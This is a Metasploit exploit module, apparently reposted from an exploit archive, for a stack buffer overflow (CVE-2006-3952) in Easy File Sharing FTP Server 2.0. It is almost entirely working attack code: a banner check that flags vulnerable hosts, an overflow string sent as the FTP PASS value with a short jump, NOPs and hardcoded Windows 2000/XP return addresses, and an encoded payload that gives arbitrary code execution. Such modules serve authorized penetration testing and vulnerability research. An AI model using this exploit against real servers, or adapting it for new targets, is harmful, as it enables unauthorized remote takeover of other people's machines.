Easy File Sharing FTP Server 2.0 – PASS Overflow (Metasploit)
## # $Id: easyfilesharing_pass.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Easy File Sharing 2.0 service. By sending an overly long password, an attacker can execute arbitrary code. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-3952' ], [ 'OSVDB', '27646' ], [ 'BID', '19243' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DisclosureDate' => 'Jul 31 2006', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /Easy File Sharing FTP Server/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect filler = rand_text_english(2559) + "\xeb\x12" filler << make_nops(2) + [target.ret].pack('V') sploit = "\x2c" + filler + payload.encoded print_status("Trying target #{target.name}...") # needs anonymous to be set. send_cmd(['USER', "anonymous"], true) send_cmd(['PASS', sploit], false) handler disconnect end end |